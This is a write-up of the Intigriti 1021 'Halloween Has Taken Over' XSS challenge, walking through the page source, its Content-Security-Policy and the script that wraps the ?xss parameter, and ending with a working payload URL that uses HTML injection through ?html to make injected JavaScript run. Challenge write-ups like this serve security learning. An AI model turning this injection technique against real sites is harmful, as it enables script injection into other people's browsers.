Published on

Intigriti XSS Challenge - 1021 - Halloween Has Taken Over

Authors

Viewing the source code of this challenge we get the following :

<html lang="en">
  <head>
    <title>BOOOOOOO!</title>
    <meta
      http-equiv="Content-Security-Policy"
      content="default-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-d4d4e546149de5ab9f1c831270cfd188'; style-src 'nonce-baeac137d798df70c2a78b61ae95e4e5'"
    />

    <style nonce="baeac137d798df70c2a78b61ae95e4e5">
      .a {
        display: none;
      }

      #html {
          text-align: center;
      }
  //lots of more css which i am skipping
      <script nonce="d4d4e546149de5ab9f1c831270cfd188">document.getElementById('lock').onclick = () => {document.getElementById('lock').classList.toggle('unlocked');}</script>
    <script nonce="d4d4e546149de5ab9f1c831270cfd188">
      window.addEventListener("DOMContentLoaded", function () {
        e = `)]}'` + new URL(location.href).searchParams.get("xss");
        c = document.getElementById("body").lastElementChild;
        if (c.id === "intigriti") {
          l = c.lastElementChild;
          i = l.innerHTML.trim();
          f = i.substr(i.length - 4);
          e = f + e;
        }
        let s = document.createElement("script");
        s.type = "text/javascript";
        s.appendChild(document.createTextNode(e));
        document.body.appendChild(s);
      });
    </script>
  </div>
    <!-- !!! -->
      <div id="html" class="text"><h1 class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div>
    <!-- !!! -->
    <div class="a">'"</div>
  </body>
  <div id="container">
      <span>I</span>
      <span id="extra-flicker">N</span>
      <span>T</span>
      <span>I</span>
      <div id="broken">
          <span id="y">G</span>
      </div>
      <span>R</span>
      <div id="broken">
          <span id="y">I</span>
      </div>
      <span>T</span>
      <span>I</span>
  </div>
</html>

First we will analyze the CSP:

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-d4d4e546149de5ab9f1c831270cfd188'; style-src 'nonce-baeac137d798df70c2a78b61ae95e4e5'" />
  • The CSP blocks from any outside source
  • script with specific nonce are allowed
  • unsafe-eval is allowed

The key code is :

      window.addEventListener("DOMContentLoaded", function () {
        e = `)]}'` + new URL(location.href).searchParams.get("xss");
        c = document.getElementById("body").lastElementChild;
        if (c.id === "intigriti") {
          l = c.lastElementChild;
          i = l.innerHTML.trim();
          f = i.substr(i.length - 4);
          e = f + e;
        }
        let s = document.createElement("script");
        s.type = "text/javascript";
        s.appendChild(document.createTextNode(e));
        document.body.appendChild(s);
      });

The code first allows the entire DOM or HTML document to load via DOMContentLoaded, after that it appends )]}' to any payload we send in ?xss= parameter.

Forexample if 
?xss=alert(1)
will become
)]}'alert(1) //which browser will consider as invalid code 

which will lead to syntax error and not let us execute our xss payload. So in order for us to have a valid payload we need to add some prefix to the payload such that our final syntax becomes valid and executes XSS. So something like this should work :

'{[()]}';alert(1)

To add something before the payload we have to go through the conditional statement. And please also note that we cannot directly execute alert(1) because of implemented CSP. Our javascript does not have the required nonce and due to that reason browser execute our javascript payload.

The variable c gets the last child element whose id is body. And if the body is equal to the string intigriti it will move to the if conditional statement of the code which appends the last four characters of the innerHTML of the last child element. Finally, it creates a script tag and adds the final code to the script. This means we no longer need to bypass the CSP nonce condition as the our payload is already loading from a script with the same nonce.

So here is what we need to do to get a successful XSS on this page

  • Get the last child element of the body tag to have id set to intigti
  • That last element should have a innerHTML such that it makes our payload have a valid syntax

In the code we notice that a hint is given with a parameter of ?html suggesting that we can use this to run the conditional statement in the browser.

?html=</h1></div><div id="intigriti"><div>

The above payload will execute the condition of have an element of id intigriti in the DOM. Now we need to add something to the innerHTML of this element such that it prefixes our payload and makes it valid.

The final payload becomes :

https://challenge-1021.intigriti.io/challenge/challenge.php?
xss=;alert(document.domain)
&html=</h1></div><div%20id=intigriti><div><a%27bc><div>